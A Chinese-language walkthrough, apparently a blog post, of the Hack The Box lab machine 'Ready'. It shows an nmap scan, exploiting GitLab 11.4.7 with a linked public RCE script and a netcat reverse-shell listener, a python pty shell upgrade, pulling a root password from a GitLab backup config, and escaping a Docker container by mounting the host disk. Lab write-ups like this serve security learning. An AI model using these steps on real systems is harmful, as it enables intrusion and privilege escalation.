• HTB Ready 10.10.10.220


    sudo vim /etc/hosts >> 10.10.10.220 ready.htb

    sudo nmap -T4 -A ready.htb

    Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 10:56 CST
    Warning: 10.10.10.220 giving up on port because retransmission cap hit (6).
    Nmap scan report for Ready.htb (10.10.10.220)
    Host is up (0.24s latency).
    Not shown: 976 closed ports
    PORT      STATE    SERVICE          VERSION
    22/tcp    open     ssh              OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    80/tcp    filtered http
    417/tcp   filtered onmux
    1071/tcp  filtered bsquare-voip
    1088/tcp  filtered cplscrambler-al
    1090/tcp  filtered ff-fms
    1443/tcp  filtered ies-lm
    2002/tcp  filtered globe
    2004/tcp  filtered mailbox
    2020/tcp  filtered xinupageserver
    2288/tcp  filtered netml
    2399/tcp  filtered fmpro-fdal
    2638/tcp  filtered sybase
    2800/tcp  filtered acc-raid
    3005/tcp  filtered deslogin
    5030/tcp  filtered surfpass
    5080/tcp  open     http             nginx
    5280/tcp  filtered xmpp-bosh
    6580/tcp  filtered parsec-master
    7512/tcp  filtered unknown
    9100/tcp  filtered jetdirect
    9111/tcp  filtered DragonIDSConsole
    20031/tcp filtered unknown
    34571/tcp filtered unknown
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 230.75 seconds

    选择很少只有5080端口,浏览器访问5080端口。

    是一个自建的gitlab,注册一个账号,随便点一点看看有什么可用的信息,想到前段时间github企业版爆出的漏洞,推测这个靶机的漏洞就是gitlab的漏洞了,查看一下gitlab的版本。

    版本是Edition 11.4.7,搜索引擎搜索gitlab 11.4.7 exp,果然有漏洞,github上面找一个最新的exp,运行一下,按照脚本给出的提示,再开一个控制台nc -lvnp 42069

    nc连接成功之后,将shell改成terminal,不然有些命令无法执行。

    python3 -c "import pty;pty.spawn('/bin/bash')"

    export TERM=xterm

    到/home目录下查看目录,dude

    进入到dude目录下看到user.txt(user,flag)

    读取成功之后需要提前才能拿到root.flag,但是linPEAS上传不上去,应该是git用户的权限太低导致的,那么这个靶机的提权思路应该是利用靶机本身的一些特性区提权,使用sudo -l也提示没有改文件,权限太小了,找一下看有没有利用的文件,脚本之类的,到根目录下看到了root_pass文件,应该是没有这么简单的,但是还是试了一下,cat读取显示了一串字符串,然后su root 输入字符串,显示验证错误,果然没这么简单呢。

    在失去方向之后又重新温习了一遍linux基础知识后,opt是安装程序的目录,既然安装gitlab想来应该是有数据库一类的东西,看看能不能先把受限用户提权成为普通用户,到opt目录下看了一下,有两个文件夹 backup gitlab,既然有backup那就先看backup吧。

    cd backup
    ls
    docker-compose.yml  gitlab-secrets.json  gitlab.rb
    cat gitlab.rb
    cat gitlab.rb | grep password

    显示除了gitlab数据库之外还有docer-compose,估计是靶机的虚拟文件,查看了gitlab数据库文件之后,通过grep过滤,成功找到密码,但是没有用户名,直接用root吧,试试运气。

    成功提权到root用户之后,到root目录下面居然没有root.flag,那么刚刚看到的docker文件就不是靶机的虚拟机文件,而是在靶机之中还有一个docker虚拟机,那不用说看来是需要进行docker逃逸了,网上找了几篇docker逃逸的帖子学习了之后,先确定是不是docker虚拟机,查看/proc/1/cgroup文件,看是否有docker字段。

    确定了是docker虚拟机之后,使用最简单的越权读取文件方法去读取宿主机的root.flag本来应该还是需要判读是否为特权模式的,但是我没看懂怎么判断,无脑梭哈。

    mkdir /test
    cd /dev
    ls
    mount /dev/sd2 /test
    chroot /test

    挂载sd1的时候莫名的失败了,挂载sd2

    成功之后在test目录下就是宿主机的根目录了,读取root目录中的root.flag。

    PS:

    gitlab CVE:https://github.com/dotPY-hax/gitlab_RCE

    docker 逃逸:https://xz.aliyun.com/t/8558

  • 相关阅读:
    python全栈开发从入门到放弃之socket并发编程之协程
    python全栈开发从入门到放弃之socket并发编程多线程GIL
    python全栈开发从入门到放弃之socket并发编程多线程
    python全栈开发从入门到放弃之socket并发编程多进程
    python全栈开发从入门到放弃之socket网络编程基础
    python全栈开发从入门到放弃之异常处理
    python全栈开发从入门到放弃之面向对象反射
    python全栈开发从入门到放弃之面向对象的三大特性
    转:经典ACM算法
    反射在Java Swing中的应用
  • 原文地址:https://www.cnblogs.com/TwoCousinElizabeth/p/14447788.html
Copyright © 2020-2023  润新知